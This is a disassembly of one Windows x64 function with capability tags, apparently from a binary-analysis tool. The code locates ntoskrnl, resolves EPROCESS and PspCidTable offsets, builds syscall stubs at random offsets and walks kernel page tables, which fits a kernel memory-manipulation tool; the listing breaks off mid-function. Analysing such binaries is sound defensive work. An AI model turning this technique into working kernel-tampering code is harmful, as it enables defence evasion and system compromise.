Function at 0x1400618a0
Capabilities:
Generate random numbers using a mersenne twister
Get system information on windows
Make suspicious ntquerysysteminformation call
Parse pe header
Resolve function by parsing pe exports
Resolve ntoskrnl gadgets

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xedff0]
mov eax, 0xee0f0
call fcn.140191300
sub rsp, rax
mov rax, qword [0x140221880]
xor rax, rsp
mov qword [rbp + 0xedfe0], rax
mov eax, edx
lea r9, [rbp - 0x20]
mov r14, rcx
mov qword [rsp + 0x70], rcx
mov qword [rbp - 0x18], rcx
lea rdx, [rbp - 0x18]
lea rcx, str.QueryEProcess:
mov qword [rbp - 0x30], rax
lea r8, [0x1401f8e80]
mov qword [rbp - 0x20], rax
call fcn.1400c1910
call fcn.140061030
mov edi, eax
call fcn.140061360
mov ebx, eax
test edi, edi
je 0x140076d19
test eax, eax
je 0x140076d19
mov eax, edi
lea rdx, [rbp - 0x10]
lea rcx, str.UniqueProcessID:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x10], rax
call fcn.1400c1b20
lea rdx, [rbp - 8]
mov qword [rbp - 0x68], rbx
lea rcx, str.ActiveProcessLink:
mov qword [rbp - 8], rbx
call fcn.1400c1d10
xor ecx, ecx
lea r12, str.ntoskrnl.exe
mov dword [rbp - 0x80], ecx
movabs r13, 0xfffffffff000
mov r15d, 0x5a4d
test ecx, ecx
je 0x14006fc62
sub ecx, 1
je 0x14006de51
cmp ecx, 1
jne 0x1400718ce
lea r9, [rbp - 0x38]
mov qword [rbp - 0x38], 4
lea r8, [0x1401f8e80]
mov qword [rbp], r14
lea rdx, [rbp]
lea rcx, str.QueryPspCIDHandle:
call fcn.1400c1320
lea rdx, [rbp + 0x48]
mov qword [rbp + 0x48], r12
lea rcx, str.GetSystemModule:
call fcn.1400c03a0
xor r8d, r8d
mov dword [rbp + 0x44], r8d
nop
xor edx, edx
lea r9, [rbp + 0x44]
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400619ec
mov r8d, dword [rbp + 0x44]
jmp 0x1400619d0
lea rdx, [rbp + 0x44]
lea rcx, str.NtQuerySystemInformation:
call fcn.1400c0590
xor ebx, ebx
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x44]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 0x44]
lea r9, [rbp + 0x44]
mov rdx, rax
mov ecx, ntohs
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140061a00
mov rdx, rbx
lea rcx, str.Module_Count:
call fcn.1400c0770
xor esi, esi
cmp qword [rbx], rsi
jbe 0x140061b55
lea rdi, [rbx + 8]
nop dword [rax]
nop dword [rax + rax]
mov rax, rdi
lea rcx, [rbp + 0x9d0]
mov edx, 2
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140061a80
movups xmm0, xmmword [rax]
lea r9, [rbp + 8]
lea r8, [0x1401f8e80]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0x10]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
mov rax, qword [rax + 0x20]
mov qword [rcx + 0x20], rax
lea rcx, [rbp + 0x9f8]
mov rax, qword [rbp + 0x9e0]
mov qword [rbp + 8], rax
movzx eax, word [rbp + 0x9f6]
add rcx, rax
mov qword [rbp + 0x10], rcx
lea rcx, [0x1401ff2b0]
call fcn.1400c0960
movzx eax, word [rbp + 0x9f6]
lea rcx, [rbp + 0x9f8]
mov rdx, qword [rbp + 0x48]
add rcx, rax
call fcn.1401af250
test eax, eax
je 0x140061b81
inc rsi
add rdi, 0x128
cmp rsi, qword [rbx]
jb 0x140061a70
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov qword [rsp + 0x50], rsi
lea rcx, str.EProcess_3:
mov qword [rbp + 0x30], rsi
lea rdx, [rbp + 0x30]
jmp 0x14006fd5f
lea rcx, [rbp + 0x1330]
mov edx, 2
lea rax, [rbp + 0x9d0]
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140061ba0
movups xmm0, xmmword [rax]
mov r8d, 0x8000
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rbp + 0x1340]
test rdi, rdi
je 0x140061b66
call fcn.140061380
mov ebx, eax
lea rdx, [rbp + 0x18]
lea rcx, str.CIDTableOffset:
mov qword [rbp + 0x18], rbx
call fcn.1400c1530
test rbx, rbx
je 0x140061b66
xor eax, eax
mov qword [rbp + 0xc40], 0
mov rdx, r14
mov qword [rsp + 0x60], 8
and rdx, r13
mov qword [rbp + 0xc38], rax
lea rcx, [rbx + rdi]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x78], rcx
jmp 0x140061c86
mov r15d, 0x5a4d
mov r13d, dword [0x140322b68]
add rax, rcx
mov qword [rsp + 0x50], rax
lea rcx, [0x1401fded8]
shr rax, 0x27
xorps xmm0, xmm0
and eax, 0x1ff
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x228], 0
mov qword [rbp + 0x230], 0
movups xmmword [rbp + 0xfd0], xmm0
lea rax, [rdx + rax*8]
mov qword [rbp + 0x210], 8
xor edx, edx
mov qword [rbp + 0x218], rax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140061f3e
cmp word [rax], r15w
jne 0x140061f3e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140061f3e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140061f3e
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140061f38
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140061d83
inc rbx
cmp rbx, r14
jb 0x140061d60
jmp 0x140061f38
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140061f38
mov esi, dword [rcx + 4]
test esi, esi
js 0x140061f38
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x70884], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x6f500]
call fcn.1400be1b0
lea rcx, [rbp + 0x6f500]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x6f500]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd6fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140061e13
mov r8d, 0x1000
lea rdx, [rbp + 0xd6fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xca8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xca8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x210]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x210]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xfd0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xca8]
lea r9, [rbp + 0xca8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de34
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x228]
test rbx, rbx
je 0x14006de34
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rbp + 0xc48], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400621ca
cmp word [rax], r15w
jne 0x1400621ca
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400621ca
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400621ca
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400621ca
nop dword [rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140062004
inc rdi
cmp rdi, r15
jb 0x140061fe0
jmp 0x1400621ca
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400621ca
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400621ca
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x71c14], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x70890]
call fcn.1400be1b0
lea rcx, [rbp + 0x70890]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x70890]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xe2fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400620a0
mov r8d, 0x1000
lea rdx, [rbp + 0xe2fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcac]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xcac], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x210]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x210]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0xc48]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfd0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xcac]
lea r9, [rbp + 0xcac]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006de34
test bl, 1
je 0x14006de34
mov rax, qword [rsp + 0x50]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x248], 0
xor edx, edx
mov qword [rbp + 0x250], 0
xorps xmm0, xmm0
mov qword [rbp + 0x258], 0
movups xmmword [rbp + 0xfe0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x238], 8
mov qword [rbp + 0x240], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006249d
cmp word [rax], bx
jne 0x14006249d
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006249d
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006249d
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140062498
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400622e3
inc rbx
cmp rbx, r14
jb 0x1400622c0
jmp 0x140062498
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140062498
mov esi, dword [rcx + 4]
test esi, esi
js 0x140062498
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x72fa4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x71c20]
call fcn.1400be1b0
lea rcx, [rbp + 0x71c20]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x71c20]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe3fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140062373
mov r8d, 0x1000
lea rdx, [rbp + 0xe3fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcb0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcb0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x238]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x238]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xfe0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcb0]
lea r9, [rbp + 0xcb0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de34
mov ebx, 0x5a4d
mov rsi, qword [rbp + 0x250]
test rsi, rsi
je 0x14006de34
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rsi, qword [rsi]
xor edx, edx
mov dword [rbp + 0xc48], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006272a
cmp word [rax], bx
jne 0x14006272a
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006272a
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006272a
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
test r15, r15
je 0x14006272a
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140062564
inc rbx
cmp rbx, r15
jb 0x140062540
jmp 0x14006272a
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x14006272a
mov edi, dword [rcx + 4]
test edi, edi
js 0x14006272a
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x74334], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x72fb0]
call fcn.1400be1b0
lea rcx, [rbp + 0x72fb0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x72fb0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe4fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140062600
mov r8d, 0x1000
lea rdx, [rbp + 0xe4fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcb4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcb4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x238]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x238]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0xc48]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfe0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcb4]
lea r9, [rbp + 0xcb4]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de34
test sil, 1
je 0x14006de34
movzx eax, sil
shr al, 7
test al, 1
je 0x14006275b
movabs rax, 0xfffffc0000000
and rsi, rax
mov rax, qword [rsp + 0x50]
and eax, 0x3fffffff
jmp 0x140063245
mov rax, qword [rsp + 0x50]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rsi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x270], 0
xor edx, edx
mov qword [rbp + 0x278], 0
xorps xmm0, xmm0
mov qword [rbp + 0x280], 0
movups xmmword [rbp + 0xff0], xmm0
lea rax, [rsi + rax*8]
mov qword [rbp + 0x260], 8
mov qword [rbp + 0x268], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140062a1d
cmp word [rax], bx
jne 0x140062a1d
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140062a1d
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140062a1d
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140062a18
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140062863
inc rbx
cmp rbx, r14
jb 0x140062840
jmp 0x140062a18
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140062a18
mov esi, dword [rcx + 4]
test esi, esi
js 0x140062a18
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x756c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x74340]
call fcn.1400be1b0
lea rcx, [rbp + 0x74340]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x74340]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe5fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400628f3
mov r8d, 0x1000
lea rdx, [rbp + 0xe5fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcb8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcb8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x260]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x260]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xff0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcb8]
lea r9, [rbp + 0xcb8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de34
mov ebx, 0x5a4d
mov rsi, qword [rbp + 0x278]
test rsi, rsi
je 0x14006de34
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rsi, qword [rsi]
xor edx, edx
mov dword [rbp + 0xc48], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140062caa
cmp word [rax], bx
jne 0x140062caa
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140062caa
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140062caa
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
test r15, r15
je 0x140062caa
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140062ae4
inc rbx
cmp rbx, r15
jb 0x140062ac0
jmp 0x140062caa
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140062caa
mov edi, dword [rcx + 4]
test edi, edi
js 0x140062caa
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x76a54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x756d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x756d0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x756d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe6fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140062b80
mov r8d, 0x1000
lea rdx, [rbp + 0xe6fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcbc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcbc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x260]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x260]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0xc48]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xff0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcbc]
lea r9, [rbp + 0xcbc]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de34
test sil, 1
je 0x14006de34
movzx eax, sil
shr al, 7
test al, 1
